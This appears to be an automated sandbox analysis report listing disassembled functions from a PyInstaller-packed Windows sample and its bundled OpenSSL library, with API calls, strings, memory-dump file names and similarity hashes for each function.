Function 00007FF6B7508660 Relevance: 14.1, APIs: 3, Strings: 5, Instructions: 116COMMON

Download Yara Rule

APIs

GetTempPathW.KERNEL32(?,?,00000000,00007FF6B7503CBB), ref: 00007FF6B7508704
GetCurrentProcessId.KERNEL32(?,00000000,00007FF6B7503CBB), ref: 00007FF6B750870A
CreateDirectoryW.KERNEL32(?,00000000,00007FF6B7503CBB), ref: 00007FF6B750874C

Part of subcall function 00007FF6B7508830: GetEnvironmentVariableW.KERNEL32(00007FF6B750388E), ref: 00007FF6B7508867
Part of subcall function 00007FF6B7508830: ExpandEnvironmentStringsW.KERNEL32 ref: 00007FF6B7508889

Part of subcall function 00007FF6B7518238: _invalid_parameter_noinfo.LIBCMT ref: 00007FF6B7518251

Part of subcall function 00007FF6B7502810: MessageBoxW.USER32 ref: 00007FF6B75028EA

Strings

LOADER: length of teporary directory path exceeds maximum path length!, xrefs: 00007FF6B750877E
_MEI%d, xrefs: 00007FF6B7508712
LOADER: failed to set the TMP environment variable., xrefs: 00007FF6B75086DC
TMP, xrefs: 00007FF6B75086C2
TMP, xrefs: 00007FF6B750869C, 00007FF6B75087A3

Memory Dump Source

Source File: 00000001.00000002.2116056322.00007FF6B7501000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6B7500000, based on PE: true

Associated: 00000001.00000002.2115877343.00007FF6B7500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2116174353.00007FF6B752B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2116227515.00007FF6B753E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2116227515.00007FF6B7541000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2116412855.00007FF6B7544000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff6b7500000_program.jbxd

Similarity

API ID: Environment$CreateCurrentDirectoryExpandMessagePathProcessStringsTempVariable_invalid_parameter_noinfo
String ID: LOADER: failed to set the TMP environment variable.$LOADER: length of teporary directory path exceeds maximum path length!$TMP$TMP$_MEI%d
API String ID: 3563477958-1339014028
Opcode ID: e09d7b167afd2147c660aa35db8091a51c6906773476d98e2344c67e24741bda
Instruction ID: 0451fa2114ab74bd34c4994a820669fee330068cecfac1ec0c0dd47de738734d
Opcode Fuzzy Hash: e09d7b167afd2147c660aa35db8091a51c6906773476d98e2344c67e24741bda
Instruction Fuzzy Hash: 04418B13A1DA5244FA24AB69A8556F91390AF887C8F800131EF0DD7BFAEE3CF546C600

Function 00007FFE00777250 Relevance: 12.6, APIs: 3, Strings: 4, Instructions: 327COMMON

Download Yara Rule

APIs

00007FFE1FFB6570.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FFE007773CA
00007FFE1FFB6570.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FFE007775E9
00007FFE1FFB6570.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FFE00777623

Strings

STRENGTH, xrefs: 00007FFE007775DF
SECLEVEL=, xrefs: 00007FFE00777619
..\s\ssl\ssl_ciph.c, xrefs: 00007FFE00777667, 00007FFE007776E9
ssl_cipher_process_rulestr, xrefs: 00007FFE00777660, 00007FFE007776DD

Memory Dump Source

Source File: 00000001.00000002.2119745990.00007FFE00761000.00000040.00000001.01000000.00000010.sdmp, Offset: 00007FFE00760000, based on PE: true

Associated: 00000001.00000002.2119715206.00007FFE00760000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.2119745990.00007FFE007E3000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.2119745990.00007FFE007E5000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.2119745990.00007FFE0080D000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.2119745990.00007FFE00818000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.2119745990.00007FFE00823000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.2119967268.00007FFE00827000.00000080.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.2119999506.00007FFE00829000.00000004.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffe00760000_program.jbxd

Similarity

API ID: 00007B6570
String ID: ..\s\ssl\ssl_ciph.c$SECLEVEL=$STRENGTH$ssl_cipher_process_rulestr
API String ID: 4069847057-331183818
Opcode ID: 3e8f7dbaccdc9d46899aacf333f9608422b89dcb9bc9042fe5e6119822def30e
Instruction ID: dd84eaeb9ceed5cab540969418d539e8b7c796fd12d7bd69333a86404e821fbe
Opcode Fuzzy Hash: 3e8f7dbaccdc9d46899aacf333f9608422b89dcb9bc9042fe5e6119822def30e
Instruction Fuzzy Hash: BDD1B372A0E68246FB6AAB19944077966E1FB457C0F5C4035EB8E977BDDE3CE841CB00

Function 00007FF6B750EA08 Relevance: 12.6, APIs: 4, Strings: 3, Instructions: 310COMMON

Download Yara Rule

APIs

__FrameHandler3::GetHandlerSearchState.LIBVCRUNTIME ref: 00007FF6B750EA65

Part of subcall function 00007FF6B750F9BC: __GetUnwindTryBlock.LIBCMT ref: 00007FF6B750F9FF
Part of subcall function 00007FF6B750F9BC: __SetUnwindTryBlock.LIBVCRUNTIME ref: 00007FF6B750FA24

Is_bad_exception_allowed.LIBVCRUNTIME ref: 00007FF6B750EB3D
__FrameHandler3::ExecutionInCatch.LIBVCRUNTIME ref: 00007FF6B750ED8B
std::bad_alloc::bad_alloc.LIBCMT ref: 00007FF6B750EE98

Strings

csm, xrefs: 00007FF6B750EA7F
csm, xrefs: 00007FF6B750EAE6
csm, xrefs: 00007FF6B750EB60

Memory Dump Source

Source File: 00000001.00000002.2116056322.00007FF6B7501000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6B7500000, based on PE: true

Associated: 00000001.00000002.2115877343.00007FF6B7500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2116174353.00007FF6B752B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2116227515.00007FF6B753E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2116227515.00007FF6B7541000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2116412855.00007FF6B7544000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff6b7500000_program.jbxd

Similarity

API ID: BlockFrameHandler3::Unwind$CatchExecutionHandlerIs_bad_exception_allowedSearchStatestd::bad_alloc::bad_alloc
String ID: csm$csm$csm
API String ID: 849930591-393685449
Opcode ID: aab7c7e636ea8a2572919ef13f94062ff4905efd63cd4babadd9079b892b9703
Instruction ID: 0f6f161b265eec980ae33d0b35f7936975ffc0c3fa9cf963a21a6fa9547c57f1
Opcode Fuzzy Hash: aab7c7e636ea8a2572919ef13f94062ff4905efd63cd4babadd9079b892b9703
Instruction Fuzzy Hash: 8FD16C73A0CB458AEB60AB6994403AD77A0FB4578CF240139EF4D97BA6DF38E591C700

Function 00007FFE00762536 Relevance: 12.5, APIs: 2, Strings: 5, Instructions: 214COMMON

Download Yara Rule

APIs

00007FFE20033420.API-MS-WIN-CRT-FILESYSTEM-L1-1-0 ref: 00007FFE00771BA1
GetLastError.KERNEL32 ref: 00007FFE00771D06

Strings

..\s\ssl\ssl_cert.c, xrefs: 00007FFE00771CFA, 00007FFE00771D33, 00007FFE00771D71, 00007FFE00771DBF
calling OPENSSL_dir_read(%s), xrefs: 00007FFE00771D0F
SSL_add_dir_cert_subjects_to_stack, xrefs: 00007FFE00771CEE, 00007FFE00771D27, 00007FFE00771DB3
%s/%s, xrefs: 00007FFE00771B81
SSL_add_file_cert_subjects_to_stack, xrefs: 00007FFE00771D65

Memory Dump Source

Source File: 00000001.00000002.2119745990.00007FFE00761000.00000040.00000001.01000000.00000010.sdmp, Offset: 00007FFE00760000, based on PE: true

Associated: 00000001.00000002.2119715206.00007FFE00760000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.2119745990.00007FFE007E3000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.2119745990.00007FFE007E5000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.2119745990.00007FFE0080D000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.2119745990.00007FFE00818000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.2119745990.00007FFE00823000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.2119967268.00007FFE00827000.00000080.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.2119999506.00007FFE00829000.00000004.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffe00760000_program.jbxd

Similarity

API ID: 00007E20033420ErrorLast
String ID: %s/%s$..\s\ssl\ssl_cert.c$SSL_add_dir_cert_subjects_to_stack$SSL_add_file_cert_subjects_to_stack$calling OPENSSL_dir_read(%s)
API String ID: 1442048445-502574948
Opcode ID: 2e1670e1f7658ee105d96da9602f9016c1545a8356d93c4e666a0015e6880cd8
Instruction ID: 61bf428e324aa5d91f91d749e8a93d7f034a90efdd0eb4a0a70ea8e7998f36ce
Opcode Fuzzy Hash: 2e1670e1f7658ee105d96da9602f9016c1545a8356d93c4e666a0015e6880cd8
Instruction Fuzzy Hash: 2A918551A1E68381FA61BB55A4113BE6261EF857C4F8C4036EB8E47BBEDF3CE8058711

Function 00007FF6B751ED10 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 117libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

FreeLibrary.KERNEL32(?,?,?,00007FF6B751F0AA,?,?,000001B5FBF896E8,00007FF6B751AD53,?,?,?,00007FF6B751AC4A,?,?,?,00007FF6B7515F3E), ref: 00007FF6B751EE8C
GetProcAddress.KERNEL32(?,?,?,00007FF6B751F0AA,?,?,000001B5FBF896E8,00007FF6B751AD53,?,?,?,00007FF6B751AC4A,?,?,?,00007FF6B7515F3E), ref: 00007FF6B751EE98

Strings

api-ms-, xrefs: 00007FF6B751EDD6
ext-ms-, xrefs: 00007FF6B751EDE9

Memory Dump Source

Source File: 00000001.00000002.2116056322.00007FF6B7501000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6B7500000, based on PE: true

Associated: 00000001.00000002.2115877343.00007FF6B7500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2116174353.00007FF6B752B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2116227515.00007FF6B753E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2116227515.00007FF6B7541000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2116412855.00007FF6B7544000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff6b7500000_program.jbxd

Similarity

API ID: AddressFreeLibraryProc
String ID: api-ms-$ext-ms-
API String ID: 3013587201-537541572
Opcode ID: 113d78e4ddfca44ef7199ea688f338981f8b4522c7c5ddaba00381c3941a83e2
Instruction ID: 1a252455fc8a62a46ca0f6c63a2c6b021a8bc9698c9119a396aa3725651b37a7
Opcode Fuzzy Hash: 113d78e4ddfca44ef7199ea688f338981f8b4522c7c5ddaba00381c3941a83e2
Instruction Fuzzy Hash: CE41C763B1DA2245EA15DF1A98106752391BF49B92F89863DDF1DC7BB4EF3CE4858300

Function 00007FF6B7502C50 Relevance: 12.4, APIs: 3, Strings: 4, Instructions: 104windowCOMMON

Download Yara Rule

APIs

GetCurrentProcessId.KERNEL32(?,?,?,?,?,?,?,?,00007FF6B7503706,?,00007FF6B7503804), ref: 00007FF6B7502C9E
FormatMessageW.KERNEL32(?,?,?,?,?,?,?,?,00007FF6B7503706,?,00007FF6B7503804), ref: 00007FF6B7502D63
MessageBoxW.USER32 ref: 00007FF6B7502D99

Strings

%ls: , xrefs: 00007FF6B7502D22
<FormatMessageW failed.>, xrefs: 00007FF6B7502D70
Error, xrefs: 00007FF6B7502D8C
[PYI-%d:ERROR] , xrefs: 00007FF6B7502CA6

Memory Dump Source

Source File: 00000001.00000002.2116056322.00007FF6B7501000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6B7500000, based on PE: true

Associated: 00000001.00000002.2115877343.00007FF6B7500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2116174353.00007FF6B752B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2116227515.00007FF6B753E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2116227515.00007FF6B7541000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2116412855.00007FF6B7544000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff6b7500000_program.jbxd

Similarity

API ID: Message$CurrentFormatProcess
String ID: %ls: $<FormatMessageW failed.>$Error$[PYI-%d:ERROR]
API String ID: 3940978338-251083826
Opcode ID: c67c27f58c2af476bbbd059d0433c12e6f67668a4e3ecf6e42cf1bc8669f0b6b
Instruction ID: f34275d7c7839644d7230baefb48d72bfd76ee537afc4b6542ef25829316cf4b
Opcode Fuzzy Hash: c67c27f58c2af476bbbd059d0433c12e6f67668a4e3ecf6e42cf1bc8669f0b6b
Instruction Fuzzy Hash: FD31D827B0CA4542E6219B29B8102AB67A1BF88798F410136EF4DD7779EF3CD646C700

Function 00007FFE00761497 Relevance: 10.8, APIs: 1, Strings: 5, Instructions: 306COMMON

Download Yara Rule

Strings

HMAC, xrefs: 00007FFE007B928B
, xrefs: 00007FFE007B92A3
tls_construct_stoc_cookie, xrefs: 00007FFE007B8F8F, 00007FFE007B91BE, 00007FFE007B934C, 00007FFE007B93C8, 00007FFE007B943D
SHA2-256, xrefs: 00007FFE007B92D7
..\s\ssl\statem\extensions_srvr.c, xrefs: 00007FFE007B8F9B, 00007FFE007B91CA, 00007FFE007B9353, 00007FFE007B93D4, 00007FFE007B9444

Memory Dump Source

Source File: 00000001.00000002.2119745990.00007FFE00761000.00000040.00000001.01000000.00000010.sdmp, Offset: 00007FFE00760000, based on PE: true

Associated: 00000001.00000002.2119715206.00007FFE00760000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.2119745990.00007FFE007E3000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.2119745990.00007FFE007E5000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.2119745990.00007FFE0080D000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.2119745990.00007FFE00818000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.2119745990.00007FFE00823000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.2119967268.00007FFE00827000.00000080.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.2119999506.00007FFE00829000.00000004.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffe00760000_program.jbxd

Similarity

API ID:
String ID: $..\s\ssl\statem\extensions_srvr.c$HMAC$SHA2-256$tls_construct_stoc_cookie
API String ID: 0-1087561517
Opcode ID: b04bc961801d08b794c6a8917a6a781b33b1234d7739c92a3603f12c1ead9c39
Instruction ID: 7414625a1290412c6c39387c3d14fc77f1585b0dc37ce68af88517ae7e53cf76
Opcode Fuzzy Hash: b04bc961801d08b794c6a8917a6a781b33b1234d7739c92a3603f12c1ead9c39
Instruction Fuzzy Hash: 0DD12861B0EA8381FA60BA62D5513FE12A1AF45784F8C4032DF5E57BEEDE7DE5068310

Function 00007FFE007626E4 Relevance: 10.8, APIs: 2, Strings: 4, Instructions: 256COMMON

Download Yara Rule

Strings

SERVERINFOV2 FOR , xrefs: 00007FFE0078A650
..\s\ssl\ssl_rsa.c, xrefs: 00007FFE0078A52D, 00007FFE0078A56E, 00007FFE0078A62D, 00007FFE0078A69B, 00007FFE0078A6F6, 00007FFE0078A70F, 00007FFE0078A729, 00007FFE0078A7A8, 00007FFE0078A7DE, 00007FFE0078A802, 00007FFE0078A832, 00007FFE0078A856, 00007FFE0078A878, 00007FFE0078A88E, 00007FFE0078A8A4, 00007FFE0078A8BA
SSL_CTX_use_serverinfo_file, xrefs: 00007FFE0078A521, 00007FFE0078A562, 00007FFE0078A626, 00007FFE0078A79C, 00007FFE0078A7D2, 00007FFE0078A7FB, 00007FFE0078A826, 00007FFE0078A84A
SERVERINFO FOR , xrefs: 00007FFE0078A5E6

Memory Dump Source

Source File: 00000001.00000002.2119745990.00007FFE00761000.00000040.00000001.01000000.00000010.sdmp, Offset: 00007FFE00760000, based on PE: true

Associated: 00000001.00000002.2119715206.00007FFE00760000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.2119745990.00007FFE007E3000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.2119745990.00007FFE007E5000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.2119745990.00007FFE0080D000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.2119745990.00007FFE00818000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.2119745990.00007FFE00823000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.2119967268.00007FFE00827000.00000080.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.2119999506.00007FFE00829000.00000004.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffe00760000_program.jbxd

Similarity

API ID:
String ID: ..\s\ssl\ssl_rsa.c$SERVERINFO FOR $SERVERINFOV2 FOR $SSL_CTX_use_serverinfo_file
API String ID: 0-2528746747
Opcode ID: 3f42cd0ca9d563b7a34cad851de025c8784a984462c6c2d3db3bf0c7bae4a17b
Instruction ID: d5438c1ab7d8a43197d8d6ec84fe4488ca1a986aee0f0b9701666be9f4b463cc
Opcode Fuzzy Hash: 3f42cd0ca9d563b7a34cad851de025c8784a984462c6c2d3db3bf0c7bae4a17b
Instruction Fuzzy Hash: 32B17E61A0A64295FB21FB52D8402BD2765BF847C4F484033EB8D17BBEDE3CEA458352

Function 00007FF6B750DCC8 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 88libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(?,?,?,00007FF6B750DF7A,?,?,?,00007FF6B750DC6C,?,?,?,00007FF6B750D869), ref: 00007FF6B750DD4D
GetLastError.KERNEL32(?,?,?,00007FF6B750DF7A,?,?,?,00007FF6B750DC6C,?,?,?,00007FF6B750D869), ref: 00007FF6B750DD5B
LoadLibraryExW.KERNEL32(?,?,?,00007FF6B750DF7A,?,?,?,00007FF6B750DC6C,?,?,?,00007FF6B750D869), ref: 00007FF6B750DD85
FreeLibrary.KERNEL32(?,?,?,00007FF6B750DF7A,?,?,?,00007FF6B750DC6C,?,?,?,00007FF6B750D869), ref: 00007FF6B750DDF3
GetProcAddress.KERNEL32(?,?,?,00007FF6B750DF7A,?,?,?,00007FF6B750DC6C,?,?,?,00007FF6B750D869), ref: 00007FF6B750DDFF

Strings

api-ms-, xrefs: 00007FF6B750DD6D

Memory Dump Source

Source File: 00000001.00000002.2116056322.00007FF6B7501000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6B7500000, based on PE: true

Associated: 00000001.00000002.2115877343.00007FF6B7500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2116174353.00007FF6B752B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2116227515.00007FF6B753E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2116227515.00007FF6B7541000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2116412855.00007FF6B7544000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff6b7500000_program.jbxd

Similarity

API ID: Library$Load$AddressErrorFreeLastProc
String ID: api-ms-
API String ID: 2559590344-2084034818
Opcode ID: 276526191d17588ee9fa22b972cdf0953455baf5c8a53fb276b347519b5968a9
Instruction ID: 6e688795dbb874b520d03be46d44b84a0809813ed08d6bb98db52e5100d8b550
Opcode Fuzzy Hash: 276526191d17588ee9fa22b972cdf0953455baf5c8a53fb276b347519b5968a9
Instruction Fuzzy Hash: 7131C563B1EB42D1EE529B0AA4106B563A4FF48BA8F594535DF5DC73A0EF3CE4449310

Function 00007FF6B7502A50 Relevance: 10.6, APIs: 1, Strings: 5, Instructions: 64COMMON

Download Yara Rule

APIs

GetCurrentProcessId.KERNEL32(00000000,?,?,?,00000000,00007FF6B750351A,?,00000000,00007FF6B7503F23), ref: 00007FF6B7502AA0

Strings

0, xrefs: 00007FF6B7502B16
Warning, xrefs: 00007FF6B7502B1E
[PYI-%d:%s] , xrefs: 00007FF6B7502AA8
Warning [ANSI Fallback], xrefs: 00007FF6B7502B0F
WARNING, xrefs: 00007FF6B7502AAF

Memory Dump Source

Source File: 00000001.00000002.2116056322.00007FF6B7501000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6B7500000, based on PE: true

Associated: 00000001.00000002.2115877343.00007FF6B7500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2116174353.00007FF6B752B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2116227515.00007FF6B753E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2116227515.00007FF6B7541000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2116412855.00007FF6B7544000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff6b7500000_program.jbxd

Similarity

API ID: CurrentProcess
String ID: 0$WARNING$Warning$Warning [ANSI Fallback]$[PYI-%d:%s]
API String ID: 2050909247-2900015858
Opcode ID: d3ff72078d09a899d0ca032b5bdbc8691629937d026b54217f09319e947088a3
Instruction ID: 8c35499528c39134f5f1d509e0d18074a5e02f9d051e11ab1c8276c4dd5abcb8
Opcode Fuzzy Hash: d3ff72078d09a899d0ca032b5bdbc8691629937d026b54217f09319e947088a3
Instruction Fuzzy Hash: 53218133A1CB8242E7209B59B8417EA63A4FB88784F400136FF8D93669EF7CD2458740

Function 00007FF6B7508570 Relevance: 10.6, APIs: 7, Instructions: 63COMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32 ref: 00007FF6B7508590
OpenProcessToken.ADVAPI32 ref: 00007FF6B75085A3
GetTokenInformation.ADVAPI32 ref: 00007FF6B75085C8
GetLastError.KERNEL32 ref: 00007FF6B75085D2
GetTokenInformation.ADVAPI32 ref: 00007FF6B7508612
ConvertSidToStringSidW.ADVAPI32 ref: 00007FF6B750862E
CloseHandle.KERNEL32 ref: 00007FF6B7508646

Memory Dump Source

Source File: 00000001.00000002.2116056322.00007FF6B7501000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6B7500000, based on PE: true

Associated: 00000001.00000002.2115877343.00007FF6B7500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2116174353.00007FF6B752B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2116227515.00007FF6B753E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2116227515.00007FF6B7541000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2116412855.00007FF6B7544000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff6b7500000_program.jbxd

Similarity

API ID: Token$InformationProcess$CloseConvertCurrentErrorHandleLastOpenString
String ID:
API String ID: 995526605-0
Opcode ID: fa90e23b90d603ff8a1fc3170628a297920662056bab6e12f28c88f429b12389
Instruction ID: c57e1a10fdde354a7423a654366036f6bc738cf8d5e9c1db24e7c3ad9794fc4e
Opcode Fuzzy Hash: fa90e23b90d603ff8a1fc3170628a297920662056bab6e12f28c88f429b12389
Instruction Fuzzy Hash: 31216237A0C68242EB108B59F544A7AA3B0FF957A4F500235EBAD93BF4EE7CE4458700

Function 00007FF6B751B150 Relevance: 10.6, APIs: 7, Instructions: 62COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 00007FF6B751B15F
FlsGetValue.KERNEL32 ref: 00007FF6B751B174
FlsSetValue.KERNEL32 ref: 00007FF6B751B195
FlsSetValue.KERNEL32 ref: 00007FF6B751B1C2
FlsSetValue.KERNEL32 ref: 00007FF6B751B1D3
FlsSetValue.KERNEL32 ref: 00007FF6B751B1E4
SetLastError.KERNEL32 ref: 00007FF6B751B1FF

Memory Dump Source

Source File: 00000001.00000002.2116056322.00007FF6B7501000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6B7500000, based on PE: true

Associated: 00000001.00000002.2115877343.00007FF6B7500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2116174353.00007FF6B752B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2116227515.00007FF6B753E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2116227515.00007FF6B7541000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2116412855.00007FF6B7544000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff6b7500000_program.jbxd

Similarity

API ID: Value$ErrorLast
String ID:
API String ID: 2506987500-0
Opcode ID: bd40692f84e3da01acd5c9e715af8932c2ff4b5b564443a413d720313231dc09
Instruction ID: ecca1fa4048c1f0645fd4cf9537cc6e17f9bc88fb270afc802bfe2f958577f01
Opcode Fuzzy Hash: bd40692f84e3da01acd5c9e715af8932c2ff4b5b564443a413d720313231dc09
Instruction Fuzzy Hash: 7A215022E4D66281F9656B2E5A5113952A35F44BB2F064734DB7EC7EF6DD2CA8408340

Function 00007FF6B7527D6C Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 48fileCOMMON

Download Yara Rule

APIs

WriteConsoleW.KERNEL32 ref: 00007FF6B7527D9D
GetLastError.KERNEL32 ref: 00007FF6B7527DA9
CloseHandle.KERNEL32 ref: 00007FF6B7527DC1
CreateFileW.KERNEL32 ref: 00007FF6B7527DEC
WriteConsoleW.KERNEL32 ref: 00007FF6B7527E0B

Strings

CONOUT$, xrefs: 00007FF6B7527DCD

Memory Dump Source

Source File: 00000001.00000002.2116056322.00007FF6B7501000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6B7500000, based on PE: true

Associated: 00000001.00000002.2115877343.00007FF6B7500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2116174353.00007FF6B752B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2116227515.00007FF6B753E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2116227515.00007FF6B7541000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2116412855.00007FF6B7544000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff6b7500000_program.jbxd

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast
String ID: CONOUT$
API String ID: 3230265001-3130406586
Opcode ID: 3755c2f75cb97972cd4ab37a7e27d28fd0bf6f95a56d27d10542fc75f089f0eb
Instruction ID: 7bb057d4a1b864632c54c1fa524d2138cc32d689d2c8113b2b7deee4b25e3809
Opcode Fuzzy Hash: 3755c2f75cb97972cd4ab37a7e27d28fd0bf6f95a56d27d10542fc75f089f0eb
Instruction Fuzzy Hash: 94119322B1CB4586E7608B1AE85432962A4FB88BE4F040238EB5EC77B4DF3CD8548740

Function 00007FFE00762310 Relevance: 9.1, APIs: 1, Strings: 4, Instructions: 391COMMON

Download Yara Rule

APIs

00007FFE1FFB08A0.API-MS-WIN-CRT-TIME-L1-1-0 ref: 00007FFE007C808D

Strings

SHA2-256, xrefs: 00007FFE007C825C
..\s\ssl\statem\statem_clnt.c, xrefs: 00007FFE007C8024, 00007FFE007C80AB, 00007FFE007C80C7, 00007FFE007C82DE, 00007FFE007C837D, 00007FFE007C83FA, 00007FFE007C8444, 00007FFE007C8476
resumption, xrefs: 00007FFE007C83AA
tls_process_new_session_ticket, xrefs: 00007FFE007C801D, 00007FFE007C82D2, 00007FFE007C8371, 00007FFE007C843D

Memory Dump Source

Source File: 00000001.00000002.2119745990.00007FFE00761000.00000040.00000001.01000000.00000010.sdmp, Offset: 00007FFE00760000, based on PE: true

Associated: 00000001.00000002.2119715206.00007FFE00760000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.2119745990.00007FFE007E3000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.2119745990.00007FFE007E5000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.2119745990.00007FFE0080D000.00000040.00000001.01000000.00000010.sdmpDownload File
